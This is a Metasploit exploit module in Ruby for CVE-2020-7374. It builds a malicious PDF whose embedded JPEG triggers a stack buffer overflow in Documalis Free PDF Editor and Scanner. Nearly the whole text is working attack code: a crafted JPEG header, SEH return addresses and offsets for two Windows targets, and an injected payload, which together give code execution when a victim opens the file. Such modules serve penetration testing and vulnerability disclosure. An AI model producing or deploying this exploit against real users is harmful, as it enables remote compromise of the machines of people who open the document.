Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow',
        'Description' => %q{
          Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not
          appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit
          this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the
          user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          '<metacom27[at]gmail.com>', # Metasploit module
        ],
        'References' => [
          ['CVE', '2020-7374'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 1715,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10',
            {
              'Ret' => 0x0040160D, # pop esi # pop ebx # ret  - PDFEditor.exe
              'Offset' => 433
            }
          ],
          [
            'Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10',
            {
              'Ret' => 0x004023FC, # pop edx # pop ebx # ret  - DocumentScanner.exe
              'Offset' => 433
            }
          ]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Privileged' => false,
        'DisclosureDate' => '2020-05-22',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
      ]
    )
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg
    buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
    buffer << rand_text(target['Offset']) # Junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(2388 - buffer.length)
    buffer
  end

  def make_pdf
    @pdf << header
    add_object(1, '<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>')
    add_object(2, '<</Type/Outlines>>')
    add_object(3, '<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>')
    add_object(4, '[/PDF/Text/ImageC]')
    add_object(5, '<</Type/Page/Parent 3 0 R/Contents 6 0 R>>')
    stream_1 = 'stream' << eol
    stream_1 << '0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q' << eol
    stream_1 << 'endstream' << eol
    add_object(6, "<</Length 91>>#{stream_1}")
    stream = '<<' << eol
    stream << '/Width 230' << eol
    stream << '/BitsPerComponent 8' << eol
    stream << '/Name /X' << eol
    stream << '/Height 50' << eol
    stream << '/Intent /RelativeColorimetric' << eol
    stream << '/Subtype /Image' << eol
    stream << '/Filter /DCTDecode' << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << '/ColorSpace /DeviceCMYK' << eol
    stream << '/Type /XObject' << eol
    stream << '>>'
    stream << 'stream' << eol
    stream << jpeg << eol
    stream << 'endstream' << eol
    add_object(7, stream)
    finish_pdf
  end
end